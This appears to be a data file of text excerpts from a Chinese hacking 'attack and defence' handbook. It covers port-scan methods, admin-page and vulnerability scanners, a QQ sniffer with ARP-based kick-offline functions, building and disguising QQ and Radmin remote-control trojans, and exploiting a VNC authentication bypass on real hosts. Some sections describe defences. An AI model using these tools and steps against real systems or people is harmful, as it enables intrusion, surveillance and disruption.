    {"text": "3.TCP FIN 扫描 RFC 793 规定：目标主机收到一个指向其某个TCP 端口的FIN 包，如果该端口是关闭的，操作系统协议栈应返回一个RST包，否则，忽略对FIN包的回复。 实际上大多数UNIX系统是可以如此判断的，但Windows恰恰相反：如果端口关闭，就忽略对FIN包的回复，否则发送RST包响应。"},
    {"text": "6.MAS扫描 与NULL扫描原理相同，只是MAS扫描将6个标志位全部置1，如果目标主机没有返回任何信息，则表明该端口是开放，如果返回RST信息，则端口是关闭的。 7.TCP ACK 扫描 ACK扫描探测报文只设置ACK标志位，当扫描未被过滤的系统时，open（开放的）和closed（关闭的）端口都会返回RST报文。 因此ACK扫描不能确定端口开放与否，但它可用于发现防火墙规则，确定它们是有状态的还是无状态的，哪些端口是被过滤的。 8.UDP 端口不能到达扫描 许多主机在向一个未打开的 UDP 端口发送一个 ICMP 数据包时，会返回一个ICMP_PORT_UNREACH错误，这样就能发现那个端口是关闭的。"},
    {"text": "11.ICMP的类型13扫描 ICMP协议的类型13（时间戳）会产生一个时间戳应答（类型14），但只有UNIX才出现这种情况，微软的IP堆栈中没有此项功能，因此可以利用类型13判断目的主机是否采用了微软的操作系统，UNIX系统则不能区分出具体的系统类型。"},
    {"text": "因为ARP协议的基础就是信任局域网内所有的人，通过ARP扫描可以获得对应的IP地址与 MAC 地址列表。 ARP 扫描速度较慢，常用来在内网对存活主机进行探测，在内网利用ARP扫描主机存活结果较为准确。"},
    {"text": "除上述这些扫描方式外，通常还使用TCP窗口扫描来判断特定系统的端口开放与关闭，使用TCP Maimon扫描来判断端口开放与否，利用IP协议扫描来确定目标主机支持哪些协议。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 5.10 网站后台扫描工具 网站后台是网站管理员登录网站进行管理的界面，当前的网站后台一般是采用与前台相同的脚本语言编写的网页，做过网站注入研究的读者通常会对网站后台情有独钟。 对于存在注入漏洞的网站，黑客即使能取得网站权限，大多数也不是SA权限，即不支持命令行和不能上传工具的权限。但可以对数据库进行列表，通过对数据库内容的猜测，获得在该网站注册的用户名和密码，如果对获得的用户名/密码进行仔细分析，有时能得到管理员用户的密码。 获得管理员权限之后，要以管理员身份登录网站，需要知道管理员登录的后台界面，而后台界面一般在前台没有相应链接，需要以其他方式获得。 在对注入研究如火如荼的时期，黑客界流传有多款网站后台扫描工具，通常人们会利用啊D注入工具、xiaolu的NBSI注入工具、教主的HDSI注入工具等所带的后台扫描功能进行网站后台扫描。除此之外，还有部分专用的后台扫描工具，如网友“锋之恋”开发的黑吧版站点后台地址扫描程序就是其中较为常用的一款后台扫描工具。 这款软件可在网络中搜索下载，无需安装，运行后弹出如图5-24所示的主界面。 在“输入站点地址”编辑框中输入待扫描后台的网站，单击“开始”按钮即可开始扫描，如果在“结果输出处”已经看到想要的结果，可单击“停止”按钮来中止运行。 对网站后台进行扫描原理非常简单，利用已经设定的网站目录、页面名称进行连接测试，如果返回连接成功信息，则说明存在该页面。如管理员对网站后台管理页面没有进行名称更改，则网站后台通常具有显著的特点，一般名称中包含admin、login等字样，拉动上图所示的滑动条，可对已设定的网站后台地址进行查看。 笔者对软件作者的网站后台进行扫描，得到如图5-25所示的结果。 图5-24 黑吧版站点后台地址扫描程序界面 图5-25 网站扫描结果 按照研究人员的使用习惯，对常用的网站后台进行分析，不断扩充后台列表，可以获得较为丰富的网站后台地址列表，这样要对目标主机后台地址进行扫描，一般会得到正确的结果。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 7.1 QQ第六感嗅探器 7.1.1 QQ 第六感嗅探器简介 “QQ第六感”是一款基于QQ的辅助软件，用它可以查找到包括网吧、校园网等在内的各种局域网中的所有在线QQ的号码，程序直接在本机使用，不需要任何服务端程序（非木马程序）。"},
    {"text": "单击“浏览”按钮弹出“浏览文件”夹对话框，选择程序安装的目录，如图7-5所示，选择目录之后单击“下一步”按钮。 图7-4 安装步骤（3） 图7-5 选择安装目录 ● 步骤5。 程序开始安装，如图7-6 所示。 稍等片刻即可安装成功，如图7-7所示。 单击“完成”按钮，将弹出程序安装目录，如图7-8所示。 图7-6 正在安装 图7-7 安装完成 图7-8 程序安装目录 ● 步骤6。"},
    {"text": "单击“确定”按钮，进入注册界面，如图7-10所示。 图7-9 提示注册 图7-10 注册界面 ● 步骤7。 在图7-10 所示的界面中填入注册码，单击“注册”按钮即可进行注册，如图7-11和图7-12所示。"},
    {"text": "图7-11 填写注册码 图7-12 注册成功 7.1.2 QQ 第六感嗅探器的原理和防御 安装成功之后，再来学习如何具体地使用“QQ第六感”。 “QQ第六感”主要功能是，查找网吧（校园网）中的在线QQ号码，并且还具有能进行IP地址冲突测试、IP地址冲突攻击、将网络中用户踢出网络等辅助功能，这些主要功能及辅助功能都需要“在线主机”按钮命令调用，并且应在“本地主机列表”中选择好目的主机的IP地址后，才能进行调用。 1.使用QQ第六感 QQ第六感使用方法简单，具体使用步骤如下。"},
    {"text": "打开已注册的“QQ 第六感”程序，它会自动捕捉您机器中的信息，比如MAC 地址、网关地址、IP 地址等信息，同时也会扫描和您的计算机同处一个子网中的其他在线主机的IP地址，其主界面如图7-13所示。"},
    {"text": "程序在开始时自动调用此命令，需要刷新适配器列表时重新调用； 在调用此命令后，如果适配器列表不为空，程序会自动选择使用找到的第一个适配器。 如果程序需要，应在适配器列表中重新选择。"},
    {"text": "注意：（1）在此之前，请先初始化适配器列表并选择好所用的网络适配器，程序在开始时自行初始化适配器列表和选择找到的第一个网络适配器。"},
    {"text": "IP 地址与主机号的对应关系为：在一般情况下，主机号就是IP地址中最后一位的数值，例如：“192.168.0.123”也就是123号主机。 特殊情况下，可以参考自己的IP地址和自己主机号的对应关系，来计算IP地址和主机号的对应关系。 如果还不能确认，请应用“冲突测试”按钮功能，对所选主机进行测试，对方主机上会弹出一个IP冲突错误的警告窗口，具体请参考“冲突测试”按钮的说明。 （2）在“本地主机列表”中双击某个IP地址，可直接对此IP地址对应的主机进行监听。"},
    {"text": "（4）每次最多监听到60个QQ号，监听到的QQ号达到饱和的时候，将自动停止监听。 （5）一般情况下，监听进行1～2min即可找到所需的QQ号码，如果未找到，可能因为对方没有打开QQ或其他原因，请停止监听或重试。"},
    {"text": "需要注意的是，此命令运行的前提是：成功获取在线主机，并且已经选择好所监听的主机的IP地址； 此命令主要在不能确认自己所选的IP地址是否是所要进行操作的目的主机的IP地址时进行调用。"},
    {"text": "● “冲突攻击”按钮：可使所选目的主机无休止的产生IP 冲突，请慎重使用此功能（此功能将妨碍对方的正常工作）。 此命令运行的前提是：成功获取在线主机，并且已经选择好所监听的主机的IP地址，它类似“冲突测试”按钮的功能，区别是本命令在用户手动停止以前，不断给对方主机发送IP冲突，且对目的主机有一定的危害性。 ● “踢出网络”按钮：可以在获取在线主机成功，并且已经选择好所监听的主机的IP地址的情况下把所选目的主机踢下线，断开对方的网络。"},
    {"text": "● “清空数据”按钮：将清空所有监听到的QQ 号码。 在程序中所有监听到的QQ 号码程序都没有设置保存，一旦清空将无法找回。 如果需要请重新进行监听，并且其他命令的调用都不会清除QQ号码列表中的数据，调用此命令是唯一清空QQ号码列表的方法。"},
    {"text": "继续单击“监听QQ 号”按钮，即可嗅探到所在局域网中登录的QQ 号码，如图7-15所示。 图7-14 交换机网界面 图7-15 登录的QQ号码示意图 为了便于理解，将查找在线QQ号码的步骤总结如下：第一步单击“初始化适配器列表”按钮进行网络适配器列表初始化；"},
    {"text": "第三步单击“在线主机”按钮获取网络中的在线主机； 第四步在“在线主机IP地址列表”中选择目的主机（按“Ctrl”键可多选）； 第五步单击“监听QQ号”按钮，对目的主机进行监听； 第六步找到QQ号后，单击“停止监听”按钮停止监听。"},
    {"text": "“QQ第六感”中的某些功能是有危害性质的，仅限于讨论技术之测试使用。 2.防御使用QQ第六感 经过测试，“踢出网络”的功能是通过 ARP 欺骗使对方主机掉线，而我们为了防止类似的攻击，只需要做好ARP攻击的防御就可以了。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 4.3 扫描器X-Scan久负盛名的扫描器 说起X-Scan软件，在国内黑客界可谓无人不知，无人不晓，大部分黑客认为，这是一款属于和流光同级别的扫描软件。 首先，X-Scan 的作者是国内安全技术研究处于顶尖水平的xfocus（安全焦点）的 glacier，glacier 主要从事木马技术研究，并且是大名鼎鼎的木马冰河的作者。 X-Scan自2000年发布第一个内部测试版本0.2开始，至2005年发布3.3版本，已经先后有几十个版本面世，可运行于Windows NT 以上操作系统中。 X-Scan使用简单，有图形界面和命令行两种操作方式，图形界面方式对初涉安全的人员来说使用方便，而命令行操作方式可以将工具传到已控制的单机上进行渗透。 X-Scan采用多线程方式对指定的IP地址段或单机进行安全漏洞检测，检测的内容包括远程服务类型、操作系统类型及版本，各种弱口令漏洞、后门、应用服务漏洞、网络设备漏洞、拒绝服务漏洞，等等。"},
    {"text": "X-Scan版本3.3图形界面的具体使用方法如下所示。 ● 步骤1 打开X-Scan 软件。 单击X-Scan_gui.exe，弹出如图4-33所示X-Scan扫描器，在主界面可以看到X-ScanV3.3的菜单栏，其中包括文件、设置、查看、工具、Language、帮助几个部分，主界面中还有 X-Scan 的使用说明，可谓人性化设计。 图4-33 X-Scan 主界面 ● 步骤2 检测范围设置。 单击X-Scan设置菜单，弹出如图4-34所示的“扫描参数”设置对话框，可以对检测范围、全局参数、扫描器插件进行设置。 图4-34 “扫描参数”设置对话框 X-Scan可以对大范围的IP地址段进行扫描，默认扫描本机地址127.0.0.1。"},
    {"text": "为方便同时扫描几个IP段或IP地址，可以通过图4-34中的“地址簿”进行设置，在弹出的对话框中可以对地址进行添加和删除操作，如图4-36所示。 图4-35 扫描范围示例 图4-36 添加、删除地址 单击图4-36中的“+”按钮，就可以对地址簿进行添加操作，如图4-37所示。"},
    {"text": "X-Scan V3.3 的扫描模块包括端口检测、操作系统检测、漏洞检测、弱口令检测等20 个模块选项，可根据要执行的任务特点，有针对性地进行设置，以减少任务执行时间，如图4-38所示。"},
    {"text": "● 步骤5 全局设置之扫描报告设置。 对扫描报告进行设置，主要是对扫描结果的保存方式、保存地址、是否自动保存进行设置，报告类型分为html、txt、xml 3 种，一般默认设为html 格式即可，如图4-40 所示。 图4-39 并发扫描设置 图4-40 扫描报告设置 ● 步骤6 全局设置之其他设置。"},
    {"text": "如图4-41所示，其他设置包括对是否跳过没有响应的主机、跳过没有检测到开放端口的主机、使用Nmap判断远程操作系统、显示详细进度几个方面。"},
    {"text": "扫描器运用ICMP协议对主机是否响应进行判断，如果被扫描的主机安装了防火墙，可以设置为对Ping等使用ICMP协议进行的扫描不响应，这时仍需进行进一步地扫描。"},
    {"text": "使用Nmap判断远程操作系统是一项较为有效的设置，每种操作系统都有自己独有的ID号，Nmap根据远程操作系统返回的ID号对操作系统进行判断，较为准确。"},
    {"text": "● 步骤7 插件设置之检测端口设置。 这一步可以对检测方式、待检测端口、是否根据响应识别服务和预设知名服务端口几个方面进行设置。 待检测端口可以是单个端口的列表，也可以是端口范围，如1～65 535，对普通用户使用默认设置即可，默认情况下对常见的端口都进行了设置。 检测方式设置有TCP扫描和syn扫描两种，如图4-42所示。 如不想被扫描对象记录详细信息可选择syn扫描，当然syn 扫描方式也会在扫描对象防火墙上留下扫描痕迹。 勾选“根据响应识别服务”复选框，因为如果扫描对象服务端口进行了更改，扫描软件策略也需进行相应的调整。"},
    {"text": "图4-41 其他设置项 图4-42 端口设置对话框 ● 步骤8 插件设置之SNMP相关设置。 SNMP相关设置可以在检测SNMP相关信息时进行，包括获取界面信息、获取IP信息、获取TCP信息、获取UDP信息、获取WINS用户列表几个选项，如图4-43所示。"},
    {"text": "NetBIOS 是网络基本输入/输出系统协议的英文缩写，主要用于数十台计算机的小型局域网，是一种应用程序接口（API），在局域网内部使用 NetBIOS 协议可以方便地实现消息通信及资源的共享。 NetBIOS应用在 Windows操作系统中，Windows操作系统默认情况下在安装TCP/IP协议后会自动安装NetBIOS。"},
    {"text": "图4-43 SNMP扫描设置 图4-44 NetBIOS扫描设置 ● 步骤10 插件设置之漏洞检测脚本设置。 如图4-45所示，漏洞检测脚本需要根据扫描对象进行详细设置，因为脚本众多，这一项扫描所需时间较长，如果能够根据待检测服务进行合理设置，可大幅度减少扫描时间。"},
    {"text": "● 步骤11 插件设置之CGI 相关设置。 CGI相关设置适用于对CGI较为了解的用户，一般选择默认设置即可，特殊情况下，也要根据扫描对象的设置进行相应调整，如图4-46所示。 图4-45 脚本检测设置 图4-46 CGI检测设置 ● 步骤12 插件设置之字典文件设置。"},
    {"text": "如图4-47所示，X-Scan 可以对穷尽口令的服务设置用户名和密码字典，默认情况下，作者已经设置了字典，但对某些服务专门进行穷尽时，默认的字典就显得数据量太小，需用户根据对扫描对象的了解，进行定制。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 8.2 QQ攻击剖析及防范 QQ是我们平时必不可少的网上聊天工具，基于QQ聊天软件之上，也有一些攻击手段，下面来具体了解以下对QQ的攻击方式。 8.2.1 “万箭攒心”（QQ 消息攻击机）剖析 伴随着网络的快速发展，网上的聊天软件也随之出现，并被众多网友所青睐，QQ算是其中的佼佼者。 本小节所介绍的这款“万箭攒心”软件主要是针对 QQ 聊天所设计的。"},
    {"text": "在QQ聊天界面中双击对方头像图标弹出“发送信息”窗口，选中“聊天模式”按钮，如图8-6所示。 图8-5 “QQ 设置”对话框 图8-6 “聊天模式”界面 ● 步骤3。"},
    {"text": "打开QQ面板，右键单击对方头像，然后单击“加入黑名单”项，如图8-11所示，在弹出的“删除好友”对话框中单击“确定”按钮即可，如图8-12所示。 图8-11 加入黑名单 图8-12 确定删除 这样操作之后，由于对方在QQ黑名单之内，所以对方发送的消息我们就接收不到了，这样就排除了对方的“骚扰”。"},
    {"text": "8.2.3 QQ 视频攻击器剖析 也许您有过这样的经历，在玩游戏的时候，如果有人发来视频连接请求，这时他的 QQ聊天窗口是默认弹出的，利用这一点，可以对目标进行攻击。"},
    {"text": "待QQ聊天窗口与攻击器重合之后，需要检查屏幕分辨率是否为1024×768，如果不是，还需要设置屏幕分辨率，然后单击“开始攻击”按钮，自动发起进攻，这时鼠标无法移动，按“F3”键停止攻击。 图8-13 运行“QQ 视频攻击器”主程序 图8-14 “QQ视频攻击器”主界面 攻击效果如图8-15所示。 图8-15 “攻击测试”界面 8.2.4 防御QQ 视频攻击器 QQ 默认的设置是当有视频发送时，将自动弹出 QQ 聊天请求窗口。"},
    {"text": "8.2.5 QQ 远控精灵剖析 “QQ远控精灵”主要通过QQ聊天来进行远程控制。 “QQ远控精灵v2.4”功能如下：关闭计算机、重启计算机、注销用户、抓屏、抓屏并发送、列举进程、列举进程并发送、关闭进程（ID）、关闭进程（文件名）、下载文件、下载文件并运行、运行文件、删除文件及卸载服务端。 下面我们就来具体剖析“QQ远控精灵”。 1.QQ远控精灵原理 使用“QQ 远控精灵”实现远程控制的过程为：在目标计算机中运行服务端后，通过向对方QQ发送相应的命令语句来控制对方机器执行各种命令。"},
    {"text": "2.设置QQ远控精灵 ● 步骤1。 直接双击运行“QQ远控精灵”，如图8-18所示，即可看到非常简洁的界面，如图8-19所示。 图8-18 运行“QQ远控精灵”主程序 在“输入识别代码”文本框中输入自己习惯使用的密码，以防他人冒名控制您的目标主机。"},
    {"text": "如果在上一步所填写的邮箱中收到确认的邮件，如图8-21所示，则可以单击“生成服务端”按钮来生成服务端了，然后选择服务端程序的保存路径即可，如图8-22所示。"},
    {"text": "本程序将自动在相应文件夹中生成一个242KB左右的应用程序文件（即木马服务端程序），如图8-23和图8-24所示，只需把这个文件发送给目标主机运行即可（伪装EXE文件，如何使对方运行自己的服务端，可以自己想办法，比如捆绑之类的方法）。"},
    {"text": "如果目标主机运行了木马服务端程序后，就可以对目标主机进行控制，步骤为：在拉下功能菜单中选择需要的选项，在“生成命令”前面的对话框填写必须的路径，点“生成命令”按钮，再单击“生成代码”按钮，将生成的代码发送给对方，就完成了一次控制命令。"},
    {"text": "图8-23 木马服务端程序 图8-24 木马服务端属性 3.列举进程并发送 ● 步骤1。 在拉下功能菜单中选择“列举进程并发送”选项，如图8-25所示。"},
    {"text": "单击“生成代码”按钮，可以看到程序窗口中已经出现了相应的代码，只需把它复制到聊天对话框并发送给目标主机即可，如图8-26（图中标注）和图8-27所示。"},
    {"text": "如果上述步骤没有出现错误，目标主机的 C 盘根目录下会出现一个名为“result.txt”的文本文件，其中包含本地的进程信息，如图8-28所示。 与此同时木马服务端程序会自动将此包含进程信息的文本文件发送到我们设置的邮箱中，当查看信件时会收到一封名为“QQ 远控精灵文件传送”的信件，其中的附件就是目标计算机的进程列表，如图8-29所示。 图8-28 文本文件 图8-29 进程列表 通过列表信息，可以获知对方目前的计算机使用情况。"},
    {"text": "单击“生成命令”按钮，再单击“生成代码”按钮，控制代码已显示在程序界面的相应位置了，如图8-32所示。 图8-32 生成代码 类似的，如果希望打开目标主机硬盘中的某个文件，只需填写文件所在的路径即可，例如“C:\\text.exe”，其他步骤类似。"},
    {"text": "用软件工具“冰刃”，找到进程名为“intenat.exe”，将其结束，如图8-35所示。 图8-35 结束木马进程 ● 步骤2。 打开注册表定位到：“HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run”项，找到名为“system”的表项，将其删除，如图8-36所示。"},
    {"text": "最后一步是删除硬盘中的木马文件，打开系统文件夹“C:\\WINDOWS\\system32”，将文件按时间顺序排序，找到名为“intenat.exe”和“intenat.txt”的文件，将其直接删除，如图8-37所示。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 9.5 Radmin远程控制软件的剖析及防范 9.5.1 Radmin 远程控制软件简介 “Radmin”是国外一款出色的远程控制软件，它可以远程管理公司或个人计算机实现远程办公。"},
    {"text": "● 在功能上，Radmin 支持被控端以服务的方式运行、支持多个连接和 IP 过滤（即允许特定的IP控制远端机器）、个性化的文件互传、远程关机、支持高分辨率模式、基于WindowsNT的安全支持及密码保护以及提供日志文件支持等； ● 在安全性方面，Radmin 支持 Windows NT/2000 用户级安全特性，黑客可以将远程控制的权限授予特定的用户或者用户组。 Radmin将以加密的模式工作，所有的数据（包括屏幕影像、鼠标和键盘的移动）都使用128位强加密算法加密；"},
    {"text": "注意：“Radmin”木马和本章前面所介绍的几款木马相比是不相同的，前面介绍的几款木马都是基于IP反弹技术（即服务端自动连接客户端）的，而“Radmin”是基于“主动连接”的，即客户端不会直接来找我们，而是我们去主动地连接服务端。"},
    {"text": "因为“Radmin”有如此特性，所以一般用于对固定 IP 计算机的控制，而被控计算机必须处与外网。 在局域网中控制另外一台本局域网中的其他计算机，“Radmin”是一款不可多得的远程控制木马。 9.5.2 Radmin 远程控制软件的剖析 和前面介绍的几款远程控制木马程序不同，“Radmin”的服务端需要进行额外的配置，不能在客户端中直接配置，以“一步江湖”开发的“Radmin服务端木马生成器”为例，因为此生成器生成的被控端有如下特点：封装了RADMIN 2.1 的服务端，只有一个文件，无多余dll文件，可以自定义安装文件名和服务信息，自定义端口号和连接密码。"},
    {"text": "在图 9-95 所示的界面中，“安装文件名”、“安装服务名”、“服务显示名”、“服务描述”项等根据自己实际情况填写，端口和密码根据自己的习惯填写，注意尽量使用1024以上端口，否则容易造成和系统中已经使用的端口冲突。"},
    {"text": "图9-95 Radmin 生成器主界面 图9-96 Radmin 服务端程序 注意：“Radmin”和本章前面所介绍的木马的启动方式也是不同的，前面所介绍的几款木马都是通过修改注册表的相关键值来实现启动自身的，而“Radmin”木马的启动方式就不同了，它并不是通过run等键值来加载的，而是通过“服务”来加载的，这样可以躲过一些对计算机不是特别了解的人的眼睛。"},
    {"text": "因为“Radmin”不属于反弹类型的木马，所以我们需要提前知道安装了服务端木马的计算机IP地址，这样我们才可以进行连接，下面介绍Radmin的具体使用方法。 2.Radmin远程控制木马的原理 ● 步骤1。 双击运行“Radmin客户端程序”，如图9-97所示，其主界面如图9-98所示。 图9-97 Radmin客户端程序 图9-98 Radmin 客户端主界面 ● 步骤2。 依次单击“连接选项”、“连接到”，如图9-99（画圈部分）所示。"},
    {"text": "如果在前面操作无误的情况下，在图9-101所示的图中，被控计算机的列表信息就已经出现在客户端的面板上了，在面板中单击【 】按钮（“完全控制”或者“屏幕监视”两者不同，处在于“完全控制”可以对远程计算机进行操作，而“屏幕监视”只是观看）。"},
    {"text": "图9-103 屏幕监控 4.远程Telnet功能 单击【 】按钮（远程Telnet），然后双击相应被控计算机的IP地址，就开启了远程Telnet功能。 类似于本地的 CMD，远程的 Telnet 是以远程计算机当前用户的权限所决定的，可以任意执行命令，黑客通常通过“远程 Telnet”把远程计算机作为跳板进行更多的入侵操作，如此可以起到更好的隐藏自身的效果，如图9-104所示。 图9-104 远程Telnet 5.远程文件管理功能 单击客户端面板上的【 】按钮（文件管理），黑客就可以随心所欲地对远程计算机硬盘上的文件进行删除、修改、上传等操作，如图9-105所示。 图9-105 文件管理 黑客也可以单击【 】按钮给对方发送关机、重新启动、注销等命令，这些都是一般的远程控制程序所必须的功能。"},
    {"text": "9.5.3 Radmin 远程控制软件的防范 ● 防范演示步骤1。 使用上面介绍的方法，配置一个Radmin远程控制服务端，如图9-106所示，并运行。 图9-106 Radmin远程控制服务端程序 ● 防范演示步骤2。"},
    {"text": "使用防火墙等软件进行查看。 笔者使用“金山网镖”防火墙做示范，打开“金山网镖”软件，如图9-108所示。 将“金山网镖”切换至“网络状态”选项卡，如图9-109所示，发现当前系统有3处“Generic Host Process for Win32 Services”正在运行，单击每个条目前面的“+”号即可查看被选中程序所使用的协议及端口号信息，不难发现其中有一个正是 Radmin 远程控制木马，其正在监听的正是“8989”号端口，如图9-110所示。 图9-107 执行命令界面 图9-108 金山网镖软件 图9-109 “网络状态”界面 图9-110 详细信息界面 在图 9-110 所示的界面中单击右上方的“关闭程序”按钮，并在弹出的确认对话框中单击“确定”按钮即可将木马进程结束，如图9-111所示。"},
    {"text": "图9-111 结束进程 知识拓展：什么是“svchost.exe”？ Windows系统进程分为独立进程和共享进程两种，“svchost.exe”文件存在于“%systemroot%\\system32”目录下，它属于共享进程。 随着Windows系统服务不断增多，为了节省系统资源，微软把很多服务做成共享方式，由svchost.exe进程来启动。 但svchost进程只作为服务宿主，并不能实现任何服务功能，即它只能提供条件让其他服务在这里被启动，而它却不能给用户提供任何服务。 系统服务是以动态链接库（dll）形式实现的，它们把可执行程序指向 svchost，由svchost调用相应服务的动态链接库来启动服务。 那么，svchost如何知道某个系统服务该调用哪个动态链接库呢？"},
    {"text": "右键单击“我的电脑”选择“管理”，进入“计算机管理”，如图 9-112 所示。 依次单击“服务和应用程序”、“服务”，进入系统服务窗口，如图9-113所示。"},
    {"text": "图9-112 计算机管理界面 在图9-113所示的计算机服务窗口中找到名为“Radmin木马测试”的系统服务，双击进入属性对话框，在“启动类型”的下拉菜单中选择“已禁用”，并单击“确定”按钮将此木马服务停止，如图9-114所示。 图9-113 计算机服务窗口 图9-114 禁用木马服务 ● 防范演示步骤4。 单击“开始”→“运行”，输入“Regedit.exe”打开注册表编辑器，并定位到：“HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Radmin 木马测试”处，发现此项下的“DisplayName”键值正是Radmin木马注册的服务名称，如图9-115所示。"},
    {"text": "通过在步骤4中找到的木马路径，直接将木马主体删除，如图9-117所示。 图9-117 删除Radmin 木马主体 ● 防范演示步骤6。 重新启动计算机结束对此木马的清除。"},
    {"text": "在本章前面的章节中，已为读者介绍了目前各种主流木马的使用方法，而控制对方的前提是使受控方安装我们所配置的木马程序，即所谓的“中毒”。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 1.5 小结 本章对网络安全的基础知识进行了概述，主要介绍了网络安全的定义，网络安全威胁的来源，网络安全漏洞的分类及检测，网络监听的原理、检测和预防等内容，为后续章节将介绍的扫描、嗅探和攻击技术作了铺垫。 孙子兵法云：知己知彼，百战不殆。要搞好网络安全，在加强自身防范的同时，需要了解黑客到底使用什么方法进行攻击。从下一章开始，将为读者揭开黑客如何攻击网络的神秘面纱，从而使您能有效地做好防范工作。 黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 5.2 运程控制扫描器 VNC（Virtual Network Computing）是虚拟网络计算的缩写，最早由英国剑桥大学开发，可免费获得，允许用户通过VNC浏览器来查看另外一台计算机的桌面并进行交互操作。VNC实际是一款远程控制软件，通过设定的远程主机密码对远程主机进行控制。VNC采用C/S模式，分为客户端和服务端，服务端安装在被控主机上，客户端安装在主控计算机上，安装服务端的主机默认开放5 900 个端口。 领域小组专版VNC扫描器可以对远程主机是否开放VNC服务进行探测，同时探测目标是否存在“VNC_bypauth”漏洞。扫描器将扫描结果自动存储在VNC_bypauth.txt文件中，设置了连接功能，可对开放服务的主机进行连接测试，如果对方密码为空或存在VNC_bypauth漏洞，就可以直接控制对方主机。 领域小组专版VNC扫描器软件主要分为3个部分：一是扫描器GUI界面程序；二是一名为vnc.exe的可执行程序，利用GUI版进行扫描，实际是调用命令行程序vnc.exe加上相关参数进行探测；三是 VNC 连接器，当扫描出开放服务的主机，且存在漏洞，返回值为“VULNERABLE”时，就可进行连接。 运行领域小组专版VNC扫描器，弹出如图5-2所示的对话框。 这款扫描器探测的“VNC_bypauth”漏洞指的是RealVNC4.1.1版本所存在的远程认证绕过漏洞，RealVNC VNC Server采用的RFB（远程帧缓冲区）协议允许客户端与服务端协商合适的认证方法，协议的实现上存在设计错误，远程攻击者可以绕过认证无需口令实现对服务器的访问。虽然最新的VNC软件已经对这个漏洞打了补丁，但仍有大量使用RealVNC4.1.1版本的用户。 如图5-2所示，填入开始IP地址和结束IP地址即可进行扫描。笔者对某B类IP地址段进行扫描，扫描过程如图5-3所示。 图5-2 领域小组专版VNC 扫描器 图5-3 扫描过程 在一个 B 类网段内共探测出 31 台主机安装了 VNC 服务端，其中 4 台主机存在“VNC_bypauth”漏洞，返回值为“VULNERABLE”。 单击图5-2中的“察看结果”按钮，打开VNC_bypauth.txt，记住返回值为“VULNERABLE”的主机IP地址，再单击图5-2中“连接”按钮，进行连接尝试，均成功连接。31台主机中的其他主机因为设置了连接密码，我们没有获得相应密码，不能正常连接。 连接成功后则可以以VNC用户的身份进行操作，可以上传木马或留下其他后门。 VNC的利用还存在另外的使用方法，如果要攻击的主机已经得到shell，但权限不高，且开放了VNC服务，这时可以通过获取VNC密码的方式进行提权。方法是利用shell读取VNC保存在注册表中的密文，注册表中的位置是： HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\WinVNC4\\password 其中RealVNC和WinVNC4均为相应版本信息，根据目标版本不同，会有相应改变。VNC 的密码以一种可逆算法保存，读取出来后结果类似“59 40 15 F9 A3 5E 8B 22”这种十六进制格式，这是VNC加密的密码。利用VNCX4软件可还原出VNC的密码，使用方法为： VNCX4-W加密密码数据回车 利用解密的VNC口令即通过VNC连接器可登录目标主机。"},
    {"text": "黑客攻防实战技术完全手册：扫描、嗅探、入侵与防御 (信息安全大系) 4.2 扫描器SSS——功效最好的扫描器 SSS 是俄罗斯 safety-lab 实验室开发的一款扫描软件，在安全扫描市场中享有速度最快，功效最好的盛名，其功能远远超过了其他众多的扫描分析工具。 SSS可以对很大范围内的系统漏洞进行安全、高效、可靠地检测，对系统全面扫描之后，SSS可以对收集的信息进行分析，发现系统设置中容易被攻击的地方和可能的错误，并给出对发现问题的可能解决方法。 SSS不仅可以扫描Windows操作系统，也可以探测UNIX操作系统，更可以检测出思科、惠普及其他网络设备中的错误，其许多功能在众多扫描软件中可谓绝无仅有。 4.2.1 SSS 扫描器的安装 在http://www.safety-lab.com/en/download.htm填入个人信息后，该网站向所填入邮箱发送一封确认邮件，在该邮件中就有 SSS 的下载链接。 也可以直接输入http://www.safety-lab.com/ sss.exe 进行下载。"},
    {"text": "图4-20 SSS 安装界面 图4-21 “许可协商”对话框 （3）选择如图 4-21 中“I accept the agreement”单选项，单击“Next”按钮，弹出“安装文件夹设置”对话框。 如果不想更改安装文件夹，可单击“Next”按钮，如图 4-22所示。 （4）在弹出的对话框中，确认前面的安装设置无误后，单击图4-22中的“Next”按钮进行安装。 安装完成后弹出“完成”对话框，如图4-23所示，单击“Finish”按钮完成安装。 图4-22 “安装文件夹设置”对话框 图4-23 安装完成界面 安装完成后，初次运行时需进行在线升级和网络注册，如没有注册许可文件，可进行15天试用。 4.2.2 SSS 扫描器的设置 运行安装后的SSS扫描器软件，进入SSS扫描器主界面，如图4-24所示。 图4-24 SSS主界面 软件菜单栏包括“File”、“View”、“Actions”、“Tools”、“Windows”、“Help”几项。"},
    {"text": "主界面左侧的“Scanner”部分包括“Scanner”、“Base SDK”、“Script”、“DoS Checker”、“History”5 项，其中Scanner 就是我们经常使用的扫描选项，Base SDK 是自己添加漏洞信息的选项，;Script 选项用来运行脚本，DoS Checker用来进行拒绝服务检测，History顾名思义就是保存的扫描历史。"},
    {"text": "图4-25 “Options”设置界面 设置选项共有“General （常规）”、“Scanner （扫描）”、“Scheduler （日程安排）”、“Auto Update（自动升级）”、“Sounds （声音）”、“Nmap”6个部分，其中“General”用来设置扫描速度，包括线程数、模块数、总线程数、Ping超时时间、数据传输超时时间；"},
    {"text": "首先单击“Add rule”进行扫描选项设置，共有“Complete Scan”、“Full Scan”、“Quick Scan”、“Only NetBIOS Scan”、“Only FTP Scan”、“Only Http Scan”、“SANS/FBI Top 20 Scan”7 项，默认选择为 Complete Scan。"},
